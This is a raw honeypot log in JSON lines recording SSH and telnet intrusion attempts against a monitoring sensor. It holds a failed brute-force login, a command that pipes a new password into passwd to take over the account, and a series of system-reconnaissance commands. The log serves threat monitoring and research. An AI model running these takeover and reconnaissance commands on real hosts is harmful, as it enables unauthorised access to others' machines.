{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":36210,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebf97f0edfd0","protocol":"ssh","message":"New connection: 103.188.177.46:36210 (159.203.135.109:22) [session: ebf97f0edfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:41.077042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:41.082533Z","src_ip":"103.188.177.46","session":"ebf97f0edfd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:41.321142Z","src_ip":"103.188.177.46","session":"ebf97f0edfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:42.352216Z","src_ip":"103.188.177.46","session":"ebf97f0edfd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:43.594429Z","src_ip":"103.188.177.46","session":"ebf97f0edfd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47572,"dst_ip":"10.17.0.5","dst_port":23,"session":"4711bbeeade0","protocol":"telnet","message":"New connection: 152.42.224.71:47572 (10.17.0.5:23) [session: 4711bbeeade0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:43.979626Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:44.962589Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:44.966119Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:45.486352Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:45.806376Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\n1vHzuad0VKXL\\n1vHzuad0VKXL\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\n1vHzuad0VKXL\\n1vHzuad0VKXL\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:45.811097Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:45.814971Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:45.818502Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.987231969833374,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:45.824988Z","src_ip":"152.42.224.71","session":"78bb39f9ea2e","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d90d601c221e06112fcb670470f992a3aaa738bc2dad193433db8698232f6c0b","size":32,"shasum":"d90d601c221e06112fcb670470f992a3aaa738bc2dad193433db8698232f6c0b","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/d90d601c221e06112fcb670470f992a3aaa738bc2dad193433db8698232f6c0b after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:46.318168Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:46.611034Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\n1vHzuad0VKXL\\n1vHzuad0VKXL\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\n1vHzuad0VKXL\\n1vHzuad0VKXL\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:46.614316Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/861ce235d8ac8109d82fb0f3ab4bf0db22b4f6ad196307a4a77a2569e19d3b9d","size":25,"shasum":"861ce235d8ac8109d82fb0f3ab4bf0db22b4f6ad196307a4a77a2569e19d3b9d","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/861ce235d8ac8109d82fb0f3ab4bf0db22b4f6ad196307a4a77a2569e19d3b9d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:47.113279Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:47.410422Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:47.414007Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:47.914265Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:48.209760Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:48.212895Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:48.713441Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:49.004940Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:49.008386Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:49.012298Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:49.515301Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:49.816810Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:49.820663Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:50.321774Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:50.614074Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:50.616848Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:51.116248Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:51.407058Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:51.409870Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:51.909548Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:52.202277Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:52.205572Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:52.704320Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:53.002337Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:53.005964Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36642408370972,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:53.112251Z","src_ip":"152.42.224.71","session":"e2b8ce7e93bb","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:53.506067Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:53.795674Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:53.798811Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:54.298191Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:54.608625Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:54.612195Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:55.111240Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:55.408254Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:55.411952Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:55.913332Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:56.208565Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:56.211236Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:56.710194Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:57.006945Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:57.010218Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:57.265474Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:57.271967Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.44641160964966,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:58.123050Z","src_ip":"152.42.224.71","session":"087d41558ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.47172784805298,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:01.962305Z","src_ip":"152.42.224.71","session":"6afb49a9f2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.402355909347534,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:02.086051Z","src_ip":"209.127.178.212","session":"b87f135bcb17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67ee8df3ee4","protocol":"telnet","message":"New connection: 152.42.224.71:46578 (10.17.0.5:23) [session: a67ee8df3ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:02.683764Z"}
{"eventid":"cowrie.session.closed","duration":97.95975494384766,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:02.831257Z","src_ip":"152.42.224.71","session":"0b36aefd3ec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d024d1363cd0","protocol":"telnet","message":"New connection: 152.42.224.71:46584 (10.17.0.5:23) [session: d024d1363cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:04.054239Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44098,"dst_ip":"10.17.0.5","dst_port":23,"session":"131236eea242","protocol":"telnet","message":"New connection: 152.42.224.71:44098 (10.17.0.5:23) [session: 131236eea242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:07.095219Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":39326,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5416cdd511","protocol":"ssh","message":"New connection: 43.133.62.188:39326 (159.203.135.109:22) [session: 3c5416cdd511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:14.078833Z"}
